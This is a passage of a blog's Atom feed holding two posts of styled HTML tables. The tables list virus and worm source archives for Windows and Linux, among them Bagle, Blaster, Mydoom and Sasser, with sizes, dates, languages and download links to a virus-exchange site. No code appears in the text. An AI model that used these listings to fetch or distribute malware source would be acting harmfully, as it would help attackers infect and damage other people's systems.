font-size: 130%;"&gt;vb&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="180"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=norther.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;norther.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="93"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;12259&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Norther&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="82"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2004-00-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="38"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table style="width: 650px;" summary="Virus sources"&gt;&lt;tbody&gt;&lt;tr&gt;     &lt;td valign="top" width="176"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=assiral.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;assiral.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="97"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;6208&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Assiral&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="77"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2005-04-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="32"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;c&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="176"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=bagle.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;bagle.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="97"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;58725&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Bagle&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="77"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;&lt;small&gt;Unknown&lt;/small&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="32"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="176"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=batzback.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;batzback.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="97"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;54652&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;BackZat.C&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="77"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;&lt;small&gt;Unknown&lt;/small&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="32"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;c&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="176"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=blaster.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;blaster.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="97"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;14630&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Blaster&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="77"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;&lt;small&gt;Unknown&lt;/small&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="32"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;c&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="176"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=elsa.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;elsa.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="97"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;4947&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Elsa&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="77"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2000-08-29&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="32"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="176"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=mydoom.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;mydoom.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="97"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;43868&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Mydoom&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="77"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;&lt;small&gt;Unknown&lt;/small&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="32"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;c&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="176"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=obsidian.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;obsidian.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="97"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;7864&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Obsidian&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="77"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2003-04-11&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="32"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="176"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=piece.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;piece.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="97"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;7442&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;PieceByPiece&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="77"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2002-00-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="32"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;c&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="176"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=pilif.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;pilif.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="97"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;426018&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Pilif&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="77"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2004-08-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="32"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="176"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=sasser.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;sasser.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="97"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;12532&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Sasser&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="77"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;&lt;small&gt;Unknown&lt;/small&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="32"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;c&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="176"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Bookman Old Style; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=zelda.zip"&gt;     &lt;span style="color: #009933;"&gt;&lt;span style="text-decoration: none;"&gt;zelda.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="97"&gt;&lt;div align="center"&gt;&lt;span style="color: #6699ff;"&gt;6608&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="246"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: Monotype Corsiva; font-size: 180%;"&gt;Zelda 1.1&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="77"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff9900;"&gt;2000-07-28&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="32"&gt;&lt;div align="center"&gt;&lt;span style="color: magenta; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3222329616442510883-7425156932602461888?l=virus-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://virus-codes.blogspot.com/feeds/7425156932602461888/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3222329616442510883&amp;postID=7425156932602461888&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/7425156932602461888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3222329616442510883/posts/default/7425156932602461888'/><link rel='alternate' type='text/html' href='http://virus-codes.blogspot.com/2007/03/wi-nd-ow-s-vi-rus-es-w-o-rm-s-filename.html' title='Windows Viruses / Worms'/><author><name>Ashish Jain</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-IMdPHu-0lX8/AAAAAAAAAAI/AAAAAAAAESw/1ITqXGACgj4/s512-c/photo.jpg'/></author><thr:total>3</thr:total><georss:featurename>Westminster, London, UK</georss:featurename><georss:point>51.5001524 -0.1262362</georss:point><georss:box>51.473436899999996 -0.1846012 51.5268679 -0.06787119999999999</georss:box></entry><entry><id>tag:blogger.com,1999:blog-3222329616442510883.post-2254411906311533581</id><published>2008-12-10T00:00:00.000+05:30</published><updated>2008-12-15T17:19:48.039+05:30</updated><title type='text'>Linux Virus Collection</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;i style="font-style: normal;"&gt; &lt;span style="color: magenta; font-family: MS Serif; font-size: 30pt;"&gt;L&lt;/span&gt;&lt;span style="color: #6699ff; font-family: MS Serif; font-size: 30pt;"&gt;i&lt;/span&gt;&lt;span style="color: #ff66cc; font-family: MS Serif; font-size: 30pt;"&gt;n&lt;/span&gt;&lt;span style="color: lime; font-family: MS Serif; font-size: 30pt;"&gt;u&lt;/span&gt;&lt;span style="color: purple; font-family: MS Serif; font-size: 30pt;"&gt;x&lt;/span&gt;&lt;span style="color: lime; font-family: MS Serif; font-size: 30pt;"&gt; &lt;/span&gt; &lt;span style="color: silver; font-family: MS Serif; font-size: 30pt;"&gt;V&lt;/span&gt;&lt;span style="color: lime; font-family: MS Serif; font-size: 30pt;"&gt;i&lt;/span&gt;&lt;span style="color: blue; font-family: MS Serif; font-size: 30pt;"&gt;r&lt;/span&gt;&lt;span style="color: red; font-family: MS Serif; font-size: 30pt;"&gt;u&lt;/span&gt;&lt;span style="color: cyan; font-family: MS Serif; font-size: 30pt;"&gt;s&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;table style="width: 681px;" summary="Virus sources"&gt;&lt;tbody&gt;&lt;tr&gt;     &lt;th width="180"&gt;&lt;span style="color: #6699ff; font-family: Freestyle Script; font-size: 180%;"&gt;Filename&lt;/span&gt;&lt;/th&gt;     &lt;th width="64"&gt;&lt;span style="color: #6699ff; font-family: Freestyle Script; font-size: 180%;"&gt;Size&lt;/span&gt;&lt;/th&gt;     &lt;th width="276"&gt;&lt;span style="color: #6699ff; font-family: Freestyle Script; font-size: 180%;"&gt;Name&lt;/span&gt;&lt;/th&gt;     &lt;th width="98"&gt;&lt;span style="color: #6699ff; font-family: Freestyle Script; font-size: 180%;"&gt;Date&lt;/span&gt;&lt;/th&gt;     &lt;th width="33"&gt;&lt;span style="color: #6699ff; font-family: Freestyle Script; font-size: 180%;"&gt;Lang&lt;/span&gt;&lt;/th&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="180"&gt;&lt;div align="center"&gt;&lt;span style="font-family: Kristen ITC; font-size: 130%;"&gt;     &lt;a href="http://vx.netlux.org/src_view.php?file=clt.zip"&gt;     &lt;span style="color: magenta;"&gt;&lt;span style="text-decoration: none;"&gt;clt.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="64"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;528657&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="276"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;CAPZLOQ      TEKNIQ v1.0&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="98"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2006-04-05&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="33"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table style="width: 670px;" summary="Virus sources"&gt;&lt;tbody&gt;&lt;tr&gt;     &lt;td valign="top" width="179"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=eternity.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;eternity.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="65"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;10240&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="277"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;Eternity&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="92"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2005-04-01&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="19"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="179"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=gripa.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;gripa.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="65"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;17523&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="277"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;Grip.a&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="92"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2005-07-10&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="19"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="top" width="179"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=gripb.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;gripb.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="65"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;22070&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="277"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;Grip.b&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="92"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2005-07-14&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="19"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table style="width: 703px;" summary="Virus sources"&gt;&lt;tbody&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="177"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=amon.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;amon.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="68"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;4058&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="279"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;Amon&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="100"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2004-00-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="2"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="177"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=balrog.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;balrog.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="68"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;6070&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="279"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;Balrog&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="100"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2004-00-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="2"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="177"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=binom.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;binom.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="68"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;6901&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="279"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;Binom&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="100"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2004-10-02&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="2"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="177"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=caline.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;caline.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="68"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;14975&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="279"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;Caline&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="100"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2004-07-17&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="2"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;c&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="177"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=cyneox.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: none;"&gt;cyneox.zip&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="68"&gt;&lt;div align="center"&gt;&lt;span style="color: lime; font-family: Papyrus;"&gt;6286&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="279"&gt;&lt;div align="center"&gt;&lt;span style="color: #ff99ff; font-family: GulimChe; font-size: 130%;"&gt;Cyneox&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="100"&gt;&lt;div align="center"&gt;&lt;span style="color: #6600ff; font-family: GulimChe; font-size: 130%;"&gt;     2004-00-00&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;     &lt;td valign="top" width="2"&gt;&lt;div align="center"&gt;&lt;span style="color: red; font-size: 130%;"&gt;asm&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;tr&gt;     &lt;td align="center" valign="top" width="177"&gt;&lt;div align="center"&gt;&lt;a href="http://vx.netlux.org/src_view.php?file=dataseg.zip"&gt;     &lt;span style="color: magenta; font-family: Kristen ITC; font-size: 130%;"&gt;  &lt;span style="text-decoration: 